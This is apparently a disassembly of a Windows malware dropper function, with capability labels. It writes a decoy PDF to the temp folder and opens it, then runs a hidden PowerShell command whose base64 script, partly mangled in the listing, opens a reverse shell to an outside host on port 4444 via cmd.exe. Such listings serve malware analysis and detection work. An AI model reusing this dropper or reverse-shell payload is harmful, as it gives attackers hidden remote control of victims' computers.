Function at 0x1400017fd
Capabilities:
Create process on windows
Create process suspended
Get common file path
Move file

Disassembly:
push rbp
push rbx
sub rsp, 0x578
lea rbp, [rsp + 0x80]
mov eax, ecx
mov byte [rbp + 0x510], al
cmp byte [rbp + 0x510], 0
je 0x140001c13
lea rax, [rbp + 0x80]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp + 0x190]
lea rax, [rbp + 0x80]
mov r9, rdx
mov r8d, 0
lea rdx, [0x1400cb050]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call rax
lea rax, [rbp + 0x49f]
mov rcx, rax
call fcn.1400751c0
lea rcx, [rbp + 0x49f]
lea rdx, [rbp + 0x190]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x49f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
mov edx, 0x2e
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.rfind_char__unsigned_long_long__const
mov qword [rbp + 0x4e8], rax
lea rax, [rbp + 0x4c0]
mov rcx, qword [rbp + 0x4e8]
lea rdx, [rbp - 0x30]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, str..pdf
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4a0]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x4a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.rename
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x2a0]
mov r8d, 4
mov rcx, rax
call fcn.14009a270
lea rax, [0x1401010b0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
mov edx, 0
lea rax, [0x1401010b0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator___unsigned_long_long__const
mov rdx, rax
lea rax, [rbp + 0x2a0]
mov r8, rbx
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp + 0x2a0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, [rbp + 0x4e7]
mov rcx, rax
call fcn.1400751c0
lea rdx, [rbp + 0x4e7]
lea rax, [rbp - 0x10]
mov r8, rdx
lea rdx, str.powershell__w_1__C___a_scriptblock_::create__Text.Encoding_::Unicode.GetString__Convert_::FromBase64String_Zg__B1A_G4A__YwB0AGkA__bwBuACAAYwBsAGUAYQBuAHUAcAAgAHsAaQBmACAAKAAkADAAOQA2ADYANABlAGYAYQ_AyAD__QAZgAwADIAYQBhADQAZQA1ADYANAA1ADgAMQAxAGEAYg_A1A__GMAMQBhAGUAZAAuAEMAbwBuAG4AZQBjAH_QAZQBkACAALQBl_AHEAIAAkAHQAcgB1A__GUA_KQAg__AHsAJAAwADkA_NgA2ADQA__ZQB_m_AGE_AMgA0AGYAMAAyAGEAYQA0AGU_ANQA2ADQ_ANQA4_ADEAMQBhAGIAN_QBjADEAYQBlAGQALgBDAG_wAbwBzAGUAKAAp_ADsAfQBpAGYAIA__AoA_CQANA_BhADIAO_AA1A__GUAMQA1ADkANwA3ADUAMwAwADU_AMQAyADQ_AYgA4ADY__AZgAyAGEAY_QA0ADcAMwA4ADk_AYgBjAC4_ARQB4AGkAdABDAG8AZABlACAALQBuAGUAIA_AkAG4AdQBsAGw__AKQAgAHsAJAA0A_GEAMgA4ADUAZQA__xADUAOQA3A_D__c__ANQAzADAANQAxADIANABiADgANgBmADIAYQBhADQ_ANw_AzADgAOQBiAG_MALgBD_AGwAbwBzAGUAKAApA_DsAfQBlAHgAaQB0ADsAfQAkAGI_AZgA5ADYAMQBiADIAZ_QAyAD__YAMA_Bi__ADQAO__QAwAGMANAA_5_AGIAO_QBiADYAOAAyADY_ANQBkADMANgBmAGUANgAgAD0AIAAnAGwAZwBnAC4AcwBkAG__EAegBlAHIAdAB5AC4AYwBsAG8A_dQBkAG_4AcwA_uAHAA_aAAnADsAJAAyADMANwAzADQAYwAxAGUAMgAwADgAZABiADkAMAAxADcANAAxAGIANgBiADIAYwB_hAD_I_ANwBmAGQAMABhAD_UAIAA9ACAAJ__wA0ADQANAA0__ACcAOwAkADAAO_QA2_ADYANABlAGYAYQAy_ADQAZgAwADIAYQBhADQAZQA1AD_YANAA1ADgAMQ_AxAGEAYgA1AGMAMQBh_AGUAZAAgAD0AIAB_O_AGUAdwAt_AE8_AYgBq_A_G_UAYwB_0ACAAcw_B5AHMAdABlAG0ALgBu_AGUAdAAuAHMAbwBjAGsAZQB0A__HMALgB__0AGMAcA_BjAGwAaQ__B__lAG4AdAA7ACQAMAA_5__ADYANgA0AGUAZgBhADIANABmADAAMgBhAGE_ANABl_ADUANgA0AD__UAOAAxADEAYQBiADU__AYwAxAGE__AZQBkAC4AYwBvAG4AbgBlAGMAdAAoACQA__YgBmADkANgAxAGIAMg__BlAD_IANgAwAGI__ANA_A5ADA_AYwA0ADkAYgA5A_GIAN__gA4A__DIANg_A1AGQAMwA2AGYAZQA2ACwAJAAyADMANwAzADQAYwAxAGUAMgAwADgA_ZABiADkAMAAxADcANAAxAGIANgBiADIAYwBhAD__IANwBmAGQAMABh__ADUAKQA7ACQAY__wA0__ADEAZAA__zAGEAYgAwADAAZ_AA4ADEAMQBkAGIANgAzAGIAOQA_0ADkAYQBhADgA_NwBjAD_IANQA1AD_YAZgA5ACAAPQAgA_CQAMAA5ADYA_NgA0_AGUAZgBhADIANABmADAAMgBhAGEANABlADUANgA0ADUAOA_AxADEA__YQBiAD_UAYwAxAGEAZQBkAC4ARwBlAHQAUwB0__AHIAZQBhAG0AKAApADsAJAAzAGIANgAwADMANwBlADMAZAAzADUAMABjAGIAYgBhADAAYwAwAGIAOABiADgANgBjADIANwA5ADYANAB_mAGYAIAA9ACAATg_BlAHcALQBP_AGI_AagBlAGMAdAAgAFMAeQBzAHQAZQBtAC_4AQgB5A__HQAZQBbAF0AIAAkADAAOQA2ADYANABlAGYAYQAyADQAZgAw_ADIAYQBhADQAZQA1ADYAN_A_A1ADgAM_QAxAGEAYgA1AGMAMQB_hAGUAZAAuAFIAZQBjAGUAaQB_2__AGUAQgB1AGYAZgBlA_HIAUwBpAHoAZQA7ACQANABhADI_AOAA1AG_UAMQA1ADkANwA_3_ADUAMwAwADUAMQAyADQAYgA4ADYAZgAyAGEAYQA0ADcAMwA4ADkAYg_BjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBj__AHQA_IABTAHkAcwB0AGUA_bQAuAEQA_aQBhAGcAbgBvAHMAdA_BpA_GMAcwAuAFAAcgBvAGMA_ZQ_BzAHMAOwA__k_ADQAYQ_AyADg_AN_QBl__ADEANQA5_ADcAN_wA1__ADM_AMAA1ADEAMgA0AGIAOAA2AGYAMgBhAGEANA_A3ADMAOAA5AGI_AYwAuAFMAdA_BhAHIAdAB_JAG4AZgBvAC4ARgBpAGwA_ZQBOAGE_AbQ_B_lACAAPQ_AgACcAQwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQ__BtADMAMgBcAGMA_bQ_BkAC4AZQB4AGUAJwA7ACQANABhADIAOAA_1AGUAMQA1ADkAN_wA3ADUAMwAwADUAMQAyADQAYgA4A_D_YAZgAyAGE_AYQA0ADcAMwA4_ADkAYgBjAC4AUwB_0AGEAcgB0AEkAbg_B_mAG8ALgBSAGUAZABpAHIAZ_QBj_AHQAUwB_0AGEAbgBkAGEAcgBkAEk_AbgBwAHUAdAAgAD0AIAAxADsA__JAA0AGEAMgA4A_DUAZQ__A__xADUAOQA3ADcANQAzADAANQAxADIANABiADgANgBmADIAYQBhADQANwAz__ADgAOQBiAGM_ALgB_TAHQAYQByA_HQASQBuAGYA__b__wAuAFIAZQ__BkA_GkAcgBlAGMAdABTAHQAYQBuAGQAYQB_yAGQATwB1AHQAcA__B1AHQAIAA9ACAAMQA7AC_Q_ANABhADIAO__AA_1_AGUAMQA1ADkANw_A3ADUAMwAwADUAMQAyADQAYgA4ADYAZgAyA_GEAYQA0ADcAMwA4A__DkAYgBjA_C4AUwB0A_GEAcg__B_0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4e7]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10], 0x68
lea rax, [rbp + 0x480]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x4c]
or eax, 1
mov dword [rbp + 0x4c], eax
mov word [rbp + 0x50], 0
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp + 0x480]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x140001b34
lea rax, str.CreateProcess_failed__
mov rdx, rax
mov rax, qword [0x1400d4430]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400ce5f8]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x140001b3e
call sym.UnrelatedFunction__
mov ebx, 1
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140001b56
mov ebx, 1
jmp 0x140001b5b
mov ebx, 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.14009a970
cmp ebx, 1
jne 0x140001b76
mov ebx, 1
jmp 0x140001b7b
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jmp 0x140001c13
nop
add rsp, 0x578
pop rbx
pop rbp
ret